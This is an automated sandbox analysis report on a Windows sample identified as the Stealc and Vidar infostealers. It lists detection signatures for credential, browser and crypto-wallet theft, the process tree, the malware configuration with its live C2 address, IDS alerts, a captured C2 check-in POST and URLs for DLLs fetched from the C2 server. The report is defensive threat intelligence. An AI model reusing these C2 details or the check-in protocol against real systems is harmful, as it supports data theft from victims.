Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1517223
MD5:	a1c72950a28756d4f53171395e10af13
SHA1:	e3aa7df014d4f3ecdd034c4ef9896b9b5c79b055
SHA256:	0ad3bca28149eb3c5e3da6ffc1d73afb6a9283bc36387c4ad1f41fa9367d7b41
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

.NET source code contains very large array initializations

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Searches for specific processes (likely to inject)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7304 cmdline: "C:\Users\user\Desktop\file.exe" MD5: A1C72950A28756D4F53171395E10AF13)

conhost.exe (PID: 7312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 7408 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 7420 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://193.233.113.184/6d687e53250c2111.php", "Botnet": "LogsDiller"}

Threatname: Vidar

{"C2 url": "http://193.233.113.184/6d687e53250c2111.php", "Botnet": "LogsDiller"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1707166083.0000000003945000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000002.1850148614.00000000014EA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7304	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 7420	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7420	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 7420	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7420	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.file.exe.3945570.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.file.exe.3945570.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
3.2.RegAsm.exe.400000.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
3.2.RegAsm.exe.400000.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-24T21:30:03.762487+0200	2044245	1	Malware Command and Control Activity Detected	193.233.113.184	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-24T21:30:03.755367+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.233.113.184	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-24T21:30:03.970055+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.233.113.184	80	TCP

ET MALWARE Win32/Stealc Submitting Screenshot to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-24T21:30:14.963911+0200	2044249	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.233.113.184	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-24T21:30:04.544163+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.233.113.184	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-24T21:30:03.978224+0200	2044247	1	Malware Command and Control Activity Detected	193.233.113.184	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-24T21:30:03.541323+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.233.113.184	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-24T21:30:04.756396+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	193.233.113.184	80	TCP
2024-09-24T21:30:09.066381+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	193.233.113.184	80	TCP
2024-09-24T21:30:10.114348+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	193.233.113.184	80	TCP
2024-09-24T21:30:10.775613+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	193.233.113.184	80	TCP
2024-09-24T21:30:11.383589+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	193.233.113.184	80	TCP
2024-09-24T21:30:13.085499+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	193.233.113.184	80	TCP
2024-09-24T21:30:13.664107+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	193.233.113.184	80	TCP

HTTP traffic detected: POST /6d687e53250c2111.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGDHJJDGHCAAAKEHIJKHost: 193.233.113.184Content-Length: 217Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 45 45 34 38 31 38 35 43 41 36 36 31 39 36 34 31 31 36 33 30 32 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 2d 2d 0d 0a Data Ascii: ------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="hwid"7EE48185CA661964116302------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="build"LogsDiller------GDGDHJJDGHCAAAKEHIJK--

Source: RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.2
Source: RegAsm.exe, 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1850148614.00000000014EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184
Source: RegAsm.exe, 00000003.00000002.1850148614.000000000152F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1850148614.00000000014EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/
Source: RegAsm.exe, 00000003.00000002.1850148614.000000000152F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/53e0491f34ea3a8a/freebl3.dll
Source: RegAsm.exe, 00000003.00000002.1850148614.000000000152F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/53e0491f34ea3a8a/mozglue.dll
Source: RegAsm.exe, 00000003.00000002.1850148614.000000000152F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/53e0491f34ea3a8a/msvcp140.dll
Source: RegAsm.exe, 00000003.00000002.1850148614.000000000152F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/53e0491f34ea3a8a/nss3.dll
Source: RegAsm.exe, 00000003.00000002.1850148614.000000000152F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/53e0491f34ea3a8a/softokn3.dll
Source: RegAsm.exe, 00000003.00000002.1850148614.000000000152F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/53e0491f34ea3a8a/sqlite3.dll
Source: RegAsm.exe, 00000003.00000002.1850148614.000000000152F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/53e0491f34ea3a8a/sqlite3.dll7
Source: RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1850148614.000000000151D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/53e0491f34ea3a8a/vcruntime140.dll
Source: RegAsm.exe, 00000003.00000002.1850148614.000000000151D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/53e0491f34ea3a8a/vcruntime140.dllECBGDHJKFI-journal
Source: RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/53e0491f34ea3a8a/vcruntime140.dllR
Source: RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/53e0491f34ea3a8a/vcruntime140.dllb
Source: RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1850148614.00000000014EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/6d687e53250c2111.php
Source: RegAsm.exe, 00000003.00000002.1850148614.000000000152F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/6d687e53250c2111.php-
Source: RegAsm.exe, 00000003.00000002.1850148614.000000000152F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/6d687e53250c2111.php-fulluser-l1-1-0q
Source: RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/6d687e53250c2111.php.X
Source: RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/6d687e53250c2111.php2Y
Source: RegAsm.exe, 00000003.00000002.1850148614.000000000152F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/6d687e53250c2111.php6
Source: RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/6d687e53250c2111.php6X
Source: RegAsm.exe, 00000003.00000002.1850148614.00000000014EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/6d687e53250c2111.php:V
Source: RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/6d687e53250c2111.phpAB(
Source: RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/6d687e53250c2111.phpH
Source: RegAsm.exe, 00000003.00000002.1850148614.000000000152F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/6d687e53250c2111.phpIIJDGHCBFIECBKEGH
Source: RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/6d687e53250c2111.phpN
Source: RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/6d687e53250c2111.phpNX
Source: RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/6d687e53250c2111.phpam
Source: RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/6d687e53250c2111.phpfY
Source: RegAsm.exe, 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/6d687e53250c2111.phpion:
Source: RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/6d687e53250c2111.phprofiles
Source: RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/6d687e53250c2111.phprowser
Source: RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/6d687e53250c2111.phpzY
Source: RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/6d687e53250c2111.php~X
Source: RegAsm.exe, 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184IEH
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.1877795074.000000006C3CD000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.3.dr, mozglue.dll.3.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: RegAsm.exe, 00000003.00000002.1862393851.000000001B714000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1877380009.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDH.3.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, BGHIIJDGHCBFIECBKEGH.3.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, BGHIIJDGHCBFIECBKEGH.3.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDH.3.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDH.3.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDH.3.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, BGHIIJDGHCBFIECBKEGH.3.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, BGHIIJDGHCBFIECBKEGH.3.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDH.3.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDH.3.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDH.3.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: BGHIIJDGHCBFIECBKEGH.3.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: https://mozilla.org0/
Source: DBGHJEBKJEGHJKECAAKJKEGIIE.3.dr	String found in binary or memory: https://support.mozilla.org
Source: DBGHJEBKJEGHJKECAAKJKEGIIE.3.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: DBGHJEBKJEGHJKECAAKJKEGIIE.3.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, BGHIIJDGHCBFIECBKEGH.3.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDH.3.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, BGHIIJDGHCBFIECBKEGH.3.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
